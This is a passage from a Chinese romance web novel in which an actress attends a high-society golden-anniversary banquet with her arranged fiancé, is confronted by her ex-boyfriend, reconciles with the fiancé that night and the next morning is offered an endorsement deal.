薛涵拿出手机报了一串陌生的地址,尾缀是一个造型工作室。
在凌书寻疑惑的眼神里,她解释道:“这是钟特助发我的,让我先带你去选礼服。晚点迟总忙完会过来接你去晚宴。”
“是什么晚宴?”
薛涵一脸看傻子的表情:“我的任务就是负责让你美美的,其他的不管。”
车子在宽阔的公路平稳疾驰,窗外的天色渐渐从瑰色的黄昏落幕。
等停在市中心一家装修华丽明亮的店铺门口时,夜空已经挂上了点点星子,显得静谧而迷人。
凌书寻下车,抬头望向店铺上方的广告牌,霓虹灯亮着The SviStation的字样。
她依稀听说过,这家造型工作室在圈内是个传奇,合作过许多一线艺人。主理人游穗曾任职世界顶级女刊的创意总监,出品过许多优质企划。
有工作人员快步过来,确认身份后立刻迎进店里,随后在门口拉起了一道谢绝入内的隔离线,无声宣告着她们的重要等级。
“迟先生已经吩咐过清场,工作室内所有的礼服和首饰您都可以随意挑选。”
一位气质干练的女人走过来和凌书寻握手,妆容精致,一头浅蓝色的短发极其吸睛,“我是主理人兼您本次的造型师游穗。工作室今天正好拿到了一批高定,凌小姐看看有没有喜欢的。”
凌书寻抬眸,先打量了一下这间工作室。
挑高的空间,墙壁覆盖着浅灰色的天鹅绒软包,吸音的同时也柔化了光线。
天花板上无数盏可调节的射灯经过精密的测算,精准的落在陈列出的每一件礼服上,将它们烘托的如同艺术馆的藏品。
宽敞的中央区域立着几个极简的白色陈列岛台,陈列着当季最新、最重磅的高定礼服,高级的面料与装饰在灯光下流转着低调而奢华的光泽。
凌书寻的视线缓缓扫过这些动辄六位数的华服,最终,视线落在了一个人台模型上——
那是一件酒红色的缎面吊带礼裙。
没有繁复的刺绣裙纱,也没有夸张的剪裁,深V的领口和露背设计,简单的线条却勾勒着一种惊心动魄的美感。
“Mae Yorke当季的高定,‘暗夜玫瑰’系列。很符合这个名字对不对?”游穗顺着她的目光看去,眼中充满了对这件裙子的欣赏。
而后又用专业性的目光上下打量了一下凌书寻,“凌小姐的眼光很好,穿上会很适合。试试?”
游穗吩咐助理把裙子取下来,带着凌书寻去了更衣间。
薛涵在帮她拉上隐形拉链的时候,凌书寻觉得这些华贵礼裙像美丽的刑具。
穿戴它们的过程都很痛苦,保持在身上的时候也很痛苦,并且充满了不便和小心翼翼。
换好礼裙后,她从更衣间出来,走到一面巨大的落地镜前。
镜中的她在礼裙的衬托下,有种慵懒又致命的风情。
裙身上部贴合曲线,细细的肩带掠过锁骨;腰部收束的同时,做了一点黑色的蕾丝镂空设计;从膝上部分开始放宽的裙摆似水波轻漾,行走时缎面上隐隐有珠光流彩。
她不自觉向前迈进一步,而镜中同时出现了另一个身影。
颀长优雅,又带着清冷的气息。
凌书寻不知道迟昼是何时来的。
镜中的他正站在不远处等待区的沙发旁,目光沉静而专注地落在她的身上。
黑色的眸底闪着一簇红色的火。
“呀,凌小姐这件裙子和迟先生很搭呢。”游穗的视线在二人之间游移,发出一声赞叹,“是来之前商定好的么?”
凌书寻转过身看他。
他今天穿着一件极具质感的黑灰色戗驳领双排扣西装,第一个扣子系起,整个人肩宽腿长。
一抹暗红色的丝质口袋巾褶缀在胸前,与同色系的领带相得益彰,让他本就矜贵的气质又增添了一份精致。
她低头看了看自己身上这件酒红礼裙。
没想到竟然意外的选择了与他相同的颜色,算不算是心有灵犀?
她感觉到心中开出了一簇名为“欢喜”的小花,幽微的香气缓缓在身体里蔓延。
“这件裙子很衬你。”迟昼的目光定定落在她身上。
凌书寻的目光微闪,轻轻抿了下嘴唇,又抬眸看向游穗:“那……就这件吧。”
游穗笑着点头:“如果时间不急,我让发型师帮你做个低盘发,露背造型会更好看。”
“还有时间。”
他说。
-
车子缓缓驶进蒋家的庄园。
从大门起就扎满了金色的灯带,道路两旁的树木也都垂着各式各样的装饰,地面铺着金箔,整个庭院亮如白昼。
虽在夜幕下,远处看得不真切,但整个庄园的面积跟迟家的相比,也有过之而无不及。
和迟家不同的是,蒋家门前的庭院里种满了各种稀有植物,在
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地面灯光的照射下,有着别样的风情。正中间是一个巨大而华美的白色欧式雕塑喷泉,水下有不计其数的小灯。
今天是名门蒋家家主夫妇的金婚纪念日,几乎邀请了整个北市的名流,庭院里人来熙攘。
凌书寻跟着迟昼下车,自然的挽上他的手臂。
进入别墅的会客厅,他带着凌书寻穿过人潮,提着礼物径直来到家主夫妻的面前,礼貌颔首:“姑婆、姑丈。”
蒋家夫妇虽然年逾七十,但红光满面,气质雍容华贵。
两人接过迟昼递上的礼物,慈祥的笑:“小昼来了,身边这位是?”
“我的未婚妻。”
两位老人的眼中闪过一丝讶异,但依然维持着和善的表情。
凌书寻被迫换上营业的笑容,也跟着叫了一声“姑婆姑丈”。在两位老人的追问下,她不得不又重复了一遍,上次在迟家家宴上说的话。
“小昼年纪也不小了,现在终于要终于要结婚了。”
迟昼无奈的笑:“姑婆,我才二十八岁。”
“我们二十八岁的时候,孩子都会跑了。不过小昼也算是我看着长大的,看到你能立业成家,我很欣慰。”
蒋老夫人说完又叹息一声:“就是不知道我那两个不争气的孙子,什么时候能把他们的人生大事给定了。”
“姑婆,儿孙自有儿孙福呢。您的两个孙子肯定有他们自己的缘分,您今天不要替小辈操心,要开开心心的才好。”凌书寻歪歪脑袋,“祝姑丈姑婆金婚快乐!”
蒋老夫人听他说完,眼角的笑意更深了些。
她慈祥地拍拍凌书寻挽在迟昼小臂的手背,“今天请了米其林三星主厨,现场制作甜品,快让小昼带你看看有没有喜欢的。”
“那姑丈姑婆先忙,我们自己转转。”
迟昼带着凌书寻走向宴会厅,一路陆续有人来向迟昼招呼问好。
他淡淡回应着。
凌书寻的眼睛在着富丽堂皇的别墅中应接不暇,如此宽敞华贵的大厅,像是那些老电影中的欧洲古堡,该有那些贵族公子小姐们在演奏声中跳舞才对。
正想着,耳边却响起迟昼的声音:“姑婆很喜欢你。”
“她是个很慈祥和蔼的婆婆。”凌书寻慢慢回忆着两位老人说的话,接着问迟昼,“你小的时候经常来这里吗?”
“嗯。她是我母亲的姑妈,关系很好。在儿时,母亲经常带我来走动。”
他的步调缓了下来,目光沉沉望向前方,好像在看向那些尘封的时光。
凌书寻看着他清隽的侧脸。
她忽然觉得,这一刻的他,好像在一个自己还未看到的地方。
偌大的宴会厅里人头攒动,交谈声、碰杯声、嬉笑声、脚步声……混杂着鲜花和食物的香气,缝合成了一场盛大却常规的名流交际场。
商务的,客套的,虚假的场合。
而眼前的人,此刻如此真实而遥远。
她想起她们漫步在威敏公学时,那个撑伞行走在雾雨的他。
一如此刻。
凌书寻有一瞬间的恍神。
直到有侍者端着香槟过来,迟昼很快恢复如常,取下一杯。
凌书寻也收回自己的视线。
宴会厅陆续有人注意到他们的到来,不觉中悄悄压低了声音,更有几个人跃跃欲上前对迟昼攀谈。
见状,前面正背对着凌书寻和迟昼交谈的两个男人也转过身来。
其中一个立刻收敛神色,换上了恭敬的表情。
而另一个更年轻些的男人先是一愣,目光在二人身上来回扫视。
最后,他的视线牢牢锁在了凌书寻的身上。
“小寻。”戴择轻唤一声。
这个名字,他曾念过许多遍。
接着他的唇角勾起一个玩味的笑容:“好久不见。”
26.飘摇
再次见到戴择,凌书寻只觉得浑身都不自在。
该死的狗渣男,真是冤家路窄!
尤其是听到他叫自己的名字,全身都仿佛有蚂蚁在爬。
她暗暗祈祷戴择能有作为前任的觉悟——当个安静的死人,少作妖。
她挽在迟昼臂弯里的手,不自觉的勾地更紧,指尖用力到骨节都微微发白。
她甚至还感觉到迟昼的目光,似乎在她手上停顿一瞬。
下一刻,当她抬起头,看见他那双深沉如黑墨的眸子,已变成了毫无温度的寒石。
而戴择注意到迟昼冷傲的视线偏向了自己,没有丝毫波澜,却带着千钧般的重量。
仅几秒的交汇,让戴择产生了一种被从里到外审视的错觉。
他目光微垂,还是抿了抿嘴唇颔首问好:“迟总,别来无恙。”
“戴公子。”迟昼的唇齿间轻轻滚过他的名字,“今天没有带未婚妻过来?”
“俞斓临时有其它的事,只好缺席了蒋老夫妇的金婚典礼。”
迟昼似笑非笑地看着戴择,眼神却锐利如刀,划在他的脸上:“戴公子称呼自己的未婚妻全名,怎么称呼我的未婚妻时却用小名。”
他声音像从南极的冰点飘来,带着凛冽的寒风,把在场的人都吹了一个激灵。
刚刚和戴择聊天的那个男人眼见情况不妙,识趣地找了个借口溜掉。原本聚集在周围几个人,见此情形立刻悄悄离远了些。
只是好奇的目光仍掺杂着恐惧,不时的瞟来,却又碍于迟昼的气场和地位不敢过于明目张胆。
凌书寻抬头看了一眼迟昼,头顶的吊灯落下一片灯光,给他轮廓分明的脸打下几块阴影,显的更为冷硬疏离。
不知怎的,她有点喘不上气。
明明眼前的场地人少了许多,她却觉得空气似乎更稀薄了,每一下呼吸都愈发艰难。
戴择的表情凝固几秒,继而又轻笑出声,“呵,迟总的……未婚妻么?”
“未婚妻”三个字他咬的极慢,声音低沉暗哑。
那语调听起来像是留恋,又像是,不甘。
凌书寻看不真切他的眼底翻涌的的情绪,只觉得无比厌烦。
戴择很快又再次抬起眼帘,只是目光却落在了她的身上:“抱歉,凌小姐,是我唐突了。”
凌书寻撇开视线看向别处。
她不想理他,不想再跟这个男人有任何牵扯。
更何况,是在迟昼的面前。
宴会厅的长桌上摆放着精致诱人的冷餐,香槟在灯光的照耀下折射出温柔的光,有厨师在切伊比利亚火腿。
各种香气缠绕在一起,宾客们言笑晏晏。
“我们去那边看看吧。”凌书寻轻轻摇了摇迟昼的胳膊,低声说道。
迟昼正要迈步,戴择的声音再次打断了他们。
他目光灼灼,烫在凌书寻的身上:“不知迟总和凌小姐,是何时订婚的?”
凌书寻闭上眼睛,吸了一口气。
她本就不想和戴择纠缠,此刻的耐心已全部耗尽。
就在她正要开口之际,却听到迟昼的喉间溢出一声冷冷地低笑。
周围的温度好像立刻冷了下来,连空气都仿佛在这一瞬被凝固。
她张开眼睛看向迟昼。
视线中,他那张清冷的脸面无表情,只是傲睨戴择一眼,凌厉的眉骨下,带着一抹不明的阴影:
“我的私事,不是什么虫豸都有资格过问。”
“更何况,是个连项目都只能靠联姻来保全的等闲之辈。”
戴择的脸瞬间变得苍白。
他嘴唇微微抖动,却没再说出一个字。
-
宴会上,凌书寻一直都跟在迟昼的身边。
看他应对恭维,看他赏光举杯,看他崇论宏议。
连带她自己也不得不一直挂着营业的笑容,和对面素不相识的女伴聊聊保养、首饰、穿搭,再假模假样地留个联系方式,又或者彼此客套的说一句“下次有机会”。
甚至还要时不时的脑筋急转弯一下,化解掉各种探究她和迟昼关系的问题。
一整个晚上下来,脸都要笑僵了。
比在片场拍戏还要累。
得空的间隙,凌书寻忽然想出去透口气。
她缓缓走出宴会厅,穿过连廊与客厅。礼裙下摆在婀娜的身姿下摇曳晃动,白色的细高跟在地板上发出玉石般的响声。
来到别墅大门的刹那,盛夏的暖风裹挟着草木的清芬扑面而来。
庄园辽阔的庭院里,许多名贵的乔木不远万里被移植而来,树冠枝丫在夜色和景观灯中舒展成一道道深邃的轮廓。
树下,大片绣球开的正好,饱满的花球呈现出馥郁的蓝紫色。
凌书寻静静伫立在碎石铺成的小径上,望着这片富有生命力的园景,身后喷泉水花四溅,宛若清亮的背景音。
她微微仰起脸,晚风轻柔地拂过肌肤,几乎沉醉在这片刻的清闲里。
甚至连身后传来的脚步声都未曾发觉。
“凌小姐。”
她立即睁开眼睛,不耐烦地看向身旁的戴择。
“不要用这样的眼神看我,小寻。”他勾了勾嘴角,目光里却满是落寞。
凌书寻正欲转身,却被他一把攥住了手腕。
“放手!”她用力想甩开戴择,却被他攥的更紧。
“你搬家了,我找不到你。”戴择不管不顾地说,声音带上一点哀求,“告诉我,你去哪了?”
凌书寻诧然,一时之间忘了动作:“你去过我的公寓?”
“是。我去过,可每一次你都不在。你的邻居说,你很久没回去了。”戴择死死的盯着她,“你和迟昼住在一起,是吗?”
明明已经分手,凌书寻不懂他为何还要缠着自己不放。
她想起戴择上一次提到的‘情妇论’,心中顿时泛起一股恶心。
可令她意外的是,他居然还贼心不死,甚至来公寓找过自己,又难免觉得可笑至极。
理智告诉她,如果让戴择知道自己现在和迟昼住在一起,他一定会再生事端。
而且……她不想让迟昼误会。
“我现在在宁市拍戏,当然不住公寓里,不过与你无关。”她冷冷地说,手臂仍在用力挣脱他的钳制,“况且,我和迟昼在一起了,你凭什么以为我会回头?请你放手。”
“是么。”戴择不置可否。
他抬头望了一眼别墅,视线又落回凌书寻的脸上,表情和声音平静了许多:
“明明都要在圈里混不下去了,却突然又有戏可拍。小寻,你是不是也开始出卖自己的身体,来换取所谓的‘事业’?”
“既然如此,当初又装什么高贵,你想要的我也可以给。”
听他说完,凌书寻笑了起来,随后笑的越来越大声。
她不清楚自己在笑什么,
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只觉得胸腔里积攒了多年的委屈,都在这一刻迸发了出来。
渐渐的,笑声越来越无力,高昂的头颅低了下来。
眼角却变得湿润。
和戴择在一起时的回忆像一把刀子,狠狠地刺向她的大脑,带出血肉模糊的回忆。
在一起那么久,她从来没有开口向他要过什么。哪怕是为了他的一句话推掉工作,哪怕是最后一刻才发现他的不忠……她也没有向他要过任何补偿。
而现在,他说出这样的话。
可是当初她最想要的,唯有他而已。
凌书寻明白了,可笑的是她。
那个青春的、执念的、莽撞的自己。
还有那三年多的时光。
她重新抬起头看他,情绪已经隐去,“我们领证结婚了,你满意了吗?”
“你说什么?”戴择愣了一秒,忽的一用力,把她拉向自己。
他一手捏住她的肩膀,一手扣在她的腰间。
在凌书寻挣扎之际,戴择凑近她的侧脸,热而腻的气息吐在她的耳廓:
“以迟昼的身份和地位,怎么会跟你认真?”
“都是权宜之计,玩玩罢了。”
怀中的人身体一顿,似乎忘记了挣扎。
戴择对她的反应很满意,随即放开了手。
他开始欣赏自己的所作所为,唇角勾起一个恶作剧般的笑容。
“再见,凌小姐。”他转身前又瞥了一眼别墅,摆摆手,走向庄园停车的草坪。
驾驶那辆熟悉的玛莎拉蒂GT沿着小路离开,很快消失在茫茫夜色里。
而凌书寻还僵在原地。
纤薄的脊背已不似过往挺直,好像已经累到了极点,再也没有任何力气维持。
戴择的那句话还反复在耳膜中回荡。
权宜之计。权宜之计。
怎么才短短几十天,她就要忘了那潦草的协议,只回想着伦敦那场不真实的梦,快要沉溺在迟昼的临时起意里。
她不该。
是的,她不该像现在这样,被男人的三言两语波动情绪。
既然赌上了自己全部身家,就要果决,坚毅。
在这场“权宜之计”里,她要保持清醒,拿到属于自己的、最大的好处。
其它的,还有什么需要在乎。
哦,迟昼的情绪价值。
她哄的越好,自己的事业才能越顺利。
当野心终于复苏,凌书寻重新绷直身体。
已经出来了太久,要回宴会了。
回到迟昼的身边,陪他言笑晏晏。
她抬手理了理鬓角的发,刚才和戴择的一番争据让她盘好的头发松散了些,耳后垂落下几根细碎的发,在晚风里轻轻飘摇。
再深吸一次庭院里的清芳,她转身向别墅走去。
然而抬眸望前路的瞬间,她定在了原地。
一抹明灭的猩红,在数十步的距离外格外醒目。
凌书寻的视线缓缓上移,逐渐辨认出了那个沉默的、几乎与阴影融为一体的轮廓。
他散漫地立在那里,明亮的灯光从身后的大门溢出,却被他宽平的肩背挡住,让那颜色本就深沉的西装外套,显得俞加压抑。
庭院的光线微弱,凌书寻看不清他的表情。
她不知道迟昼站在那里看了多久。
指尖的香烟已将要燃尽。
他只不动声色地,凝视着她。
27.攀升
凌书寻感觉得到,自己胸腔里激烈无序的浪潮,正逐渐吞噬掉冷静。
她不知道迟昼听到或看到了多少。
唯一能确定的是,他不会喜欢她和戴择的接触,尽管刚刚并不是她的意愿。
可是他会知道吗,自己又该如何向他提起。
凌书寻慢慢向他走近,直到终于能够看清他的神色。
迟昼的表情寡淡,猩红的烟头明亮一瞬,薄薄的唇间呼出一团缭绕的烟。
印象里,这是她第一次见他吸烟。
她对上他冷清的目光,张了张嘴巴,语调还未来得及发出。
“走了。”
他掐灭了烟,目不斜视地从她身边擦肩而过,带起一阵微凉的气流。
像千万根细密的针,刺进她的皮肤。
凌书寻回头看了一眼他的背影,心中喟叹,还是跟在了他的身后。
迟昼身高腿长,走起路来步步生风。
凌书寻在后面跟的有些吃力,她穿着细高跟本就走不快,礼服的设计又限制了迈腿的距离。
等她来到劳斯莱斯车后方,迟昼已经坐进车里。
钟俊为他关好门,又绕到另一侧等待她的到来。
但凌书寻站在原地没有动。
她的目光落在车子漆黑的后窗上,里面什么都看不清,只能依稀辨认出他颈肩优雅的弧度。
“凌小姐?”许是见她迟迟没有动作,钟俊叫她一声。
她回过神,对着钟俊露出一个歉意的微笑,走向迟昼的那一侧。
伸手拉开车门,里面的人撇过脸来,眉心微蹙,眸中带着一点不耐与疑惑。
凌书寻弯腰提起裙摆,不管不顾地钻进去,调整一下身姿,横坐在他的腿上。
钟俊识趣地关好车门,默默把挡板升了上去。
在这一方二人的轿厢里,她的臀部一点一点向他蹭过去,挤开他搭在腿上的手,蹭到整个上半身几乎都陷进他的怀里。
她手臂圈在他宽平的肩,另一只手摸索到他的手腕,将它放在自己的腰间。
“……做什么?”
他低沉的声音近在咫尺,不悦中带着暗哑。
“坐这里。”她回答,而后看向他的眼睛。
熟悉的清冽与木质香调混合的味道,再度将她裹挟。
这片短暂而昏暗的沉默,放大了身体的感官,凌书寻能感觉到车内的温度在渐渐升高。
即便隔着一层上好的衣料,那只扶在自己腰际的手掌,也透出灼人的热。
他的喉结动了动,却没有说什么,脸撇向窗外。
凌书寻手指覆在他的侧脸,腕间用力,迫使他那双寒眸看向自己。
“你在生气。”她垂下眼帘,拇指的指腹碾过他的唇,“我的,还是戴择的?”
像是听到了什么极其厌恶的东西,他的眼神瞬间变得冷冽起来。
即使是在一片阴暗里,凌书寻依然感觉得到。
甚至就连刚刚升升高的温度,也冷了几分。
“你喜欢他什么?喜欢他破落,喜欢他背叛,喜欢他无能?”迟昼的唇齿间咬出一句话,仿佛在克制着一场怒火。
凌书寻轻轻叹了口气,“过去不懂事而已。”
她的指尖继续游走在他的唇,“总要给人一次成长的机会吧,迟老板。”
迟昼握住她不安分的手,力道强硬的掰了下来,冷笑一声,“我给过,可是有人却偷偷去幽会旧情人。”
他放在她腰间的手开始箍紧,凌厉的下颌扬起,薄唇贴近她的耳廓,几乎一字一顿的:“是不是,太不识好歹。”
他精瘦的手臂力道惊人,几乎毫不费力的,就完全禁锢住了她。
凌书寻的腕间传来阵阵疼痛,上半躯体无法挣脱,每动一下都带来迟钝的痛感。
痛的微微喘-息。
好在脖颈还可以活动,她只好低下头贴在他的颈窝,温热的呼吸蹭在他的耳后:“好痛……”
迟昼身体一滞,松开了对她腕间的桎梏。
凌书寻再次圈住他的脖子,脑袋还靠在他的颈窝,低语道:“我想出来透口气,没注意到他跟了出来。”
此时她才意识到,原来那时戴择早就发现了迟昼的身影,所以眼神才会一直瞟向自己的身后。
他故意拉扯自己,做给迟昼看。可她居然没有反应过来。
“他是个又蠢又坏的卑鄙小人。”她直起头来看着迟昼,脸颊仍与他贴的很近,每一丝呼吸都掠过他的肌肤。
“迟老板那么聪明,肯定一眼就看破他的诡计了。对不对?”
迟昼微微侧首,看到她言之凿凿的样子,没有做声,只是周围寒冰般的冷感在缓慢地消融。
她的表情忽的低落下去,连同声音也闷闷的,“迟昼,你不要生气了。”
下一秒,她紧紧抱住他。
温凉的唇瓣落在他的耳后,感受到了他肌理下跳动的脉搏。
激荡、热烈。
如同一条流动在冰层之下的,澎湃的河。
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当深夜的一切回归静谧,是连星辰都会隐没,唯有一弯弦月在厚重的云层中若隐若现。
迟昼裹着一袭浴袍,久久立在卧室的阳台上。
盛夏的晚风吹来断断续续的虫鸣,也吹散萦绕在他指尖的烟雾。
迟昼没什么烟瘾,也不喜烟草的味道,但今晚却极少见的,抽了两支。
烟头被他掐灭时,视野也倏地一暗。
他撇过头,是隔壁的那间卧室关掉了灯,刚刚透过落地窗和纱帘照出的光线已经彻底消失,变为一片漆黑。
迟昼又沉默地看了片刻,还是回到自己的卧室。
身体陷在柔软的床上,头脑却异常清醒,耳后的那个位置似乎又灼烧起来。
那感觉,让他回溯到凌书寻坐在腿上吻他的时刻。他几近失控,却只能转过头,以自己的唇瓣堵上她的不安分。
带有愠怒的、欲望的、浓烈的吻。
只是当车子停在别墅的院门前,冷静与克制还是回到了他的身体。
两人各怀心事,又沉默地回到各自的卧室。
迟昼闭上眼睛,却控制不住,一直在想隔壁的那个人。
今晚的结尾如此潦草,被不该出现的人搅乱,让他心底低沉难眠。
好像和凌书寻有关的事,他的情绪总是不属于他自己。过往的冷静自持,都变成了手中的流沙。
是从什么时候开始的?
他出神地想着,忽的听见门把手被拧动的声音。
“咔哒”一声,伴随着踟躇的脚步,门口的小夜灯亮起,为卧室带来一点幽微的光。
迟昼睁开眼睛。
自己的心跳声比她的脚步声更响。
而凌书寻却没有再向前一步,只是轻声叫他的名字:“迟昼。”
“看来以后要反锁房门。”
听到他的声音,她才舒了一口气走进来,就着昏暗的光,摸索着爬到他的床上。
她躺在他的身边,伸出双臂抱住他劲瘦的腰线,下巴贴在他的肩。
“迟昼。”凌书寻再次叫他的名字,却不似往日的上翘的尾音。
他听到自己紧绷的喉间低低应了一声,“嗯。”
“你不要像上次一样不理我,”她的声线带着一种令他陌生的低落,语调轻缓却慢慢揪起了他的心脏,“我也会不开心的。”
他的胸前微微起伏,“是么。”
凌书寻知道,迟昼是个多心高气傲、洞悉规律的人。他年纪轻轻执掌整个集团
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,多少人臣服于他,而自己这里却总出现不应有的烂事,惹他不高兴。
“我明天就要回片场了,你确定还要对我生气吗?”
“以后你不喜欢的事,我都不会做了,好不好。”
她感觉到怀中那具温热的躯体转向了她,那双有力的双臂将她搂进了怀里。
“知道了。”他的声音似乎更哑了一些。
凌书寻刚想轻纾一口气,迟昼的唇却寻了过来,细密的落在她的脸上。
宽松的睡裙被勾落,熟悉而浓烈的气息再次裹挟住她的意识,空气的温度在不断攀升。
他单手支颐在她身侧,骨节清晰的手与炙热的吻顺着她的侧脸缓缓向下游移。
她如同在一片漂浮的云层,随着他带动的气流忽上忽下,凝聚成雨。
“怎么办呢。”迟昼暗哑的声线又响在耳廓,墨色的瞳仁下燃着炽热的火。
凌书寻双唇微启,贝齿间的喘-息声里含混不清地叫着他的名字。
她勾住他的脖颈,指尖颤动地抚在他侧脸的轮廓。
室内昏沉而旖旎。
/
翌日上午,凌书寻是被电话叫醒的。
她迷迷糊糊地躺在宽大陌生的床上,看到迟昼把她的手机从隔壁卧室拿过来递给他。
白明芳的声音从听筒里传来:“书寻,我们说好今天要来公司谈一下代言的事还记得吧,你几点钟过来?”
“白姐!”凌书寻立刻从床上坐起,困顿的意识瞬间清醒。
她看了一眼时间,已经十点钟,于是急匆匆地说:“这就过去!”
“好,我现在让薛涵去接你。”
挂掉电话,凌书寻抬眸看着床边的人。穿戴整齐,丰神俊朗,看不出任何昨夜缠绵的痕迹。
顺着他低垂的目光,又低头看了看自己的胸前,发出一声尖锐爆鸣。
裸露在睡裙外的肌肤上,瑰色的吻痕如晕染开的墨,大片蔓延。
“迟昼,你混蛋!”她气急败坏地抓起身下的枕头砸向他,“我怎么拍戏啊!”
迟昼慢条斯理地接住枕头,随手扔在床尾的位置。
他俯身靠近她,温凉的手指捏住她的下巴,气息落在她的嘴角:
“昨晚的态度可不是这样的。”
“提上裙子不认人?”
凌书寻脸颊一红,推开他走回自己卧室。
快速的清洗收拾后,她翻遍衣柜才找了一件高领轻薄的衬衣,搭配了一条A字裙,又画了个淡妆,在薛涵的催促里坐上了埃尔法车。
薛涵看到她大热天还穿衬衫,纽扣从脖子下就扣起,心生疑惑:“宝贝,你大热天的怎么捂得这么严实”
“我怕晒黑,你快开车。”凌书寻下意识地拽拽衣领。
殊不知这在薛涵眼里简直是欲盖拟彰,她反倒瞬间就反映了过来。
“哦,怕晒啊……”
薛涵一路都憋着笑。
到达白明芳的办公室时已近中午。
白明芳从办公桌上抬头,对着二人微笑着指了指沙发:“来,坐。”
“上期综艺反响很好,我想书寻都知道了。”
白明芳说着走过来,递上一沓资料:“有个新兴的户外品牌看中了你,想让你做代言。这是他们的资料和产品,你先看看。”
凌书寻翻阅着手中的画册。
这是一个专做女性户外用品的品牌,虽然还处于起步阶段,但是由于质量和高性价比,已经积攒起一些口碑。
只是这也是她们第一次找代言人,给出的价格并不高。
“还有一件事你肯定想不到。”白明芳的声音染上笑意,“《桃源乡》的导演组邀请你成为下一季的常驻嘉宾。”
“书寻,你的想法是什么?”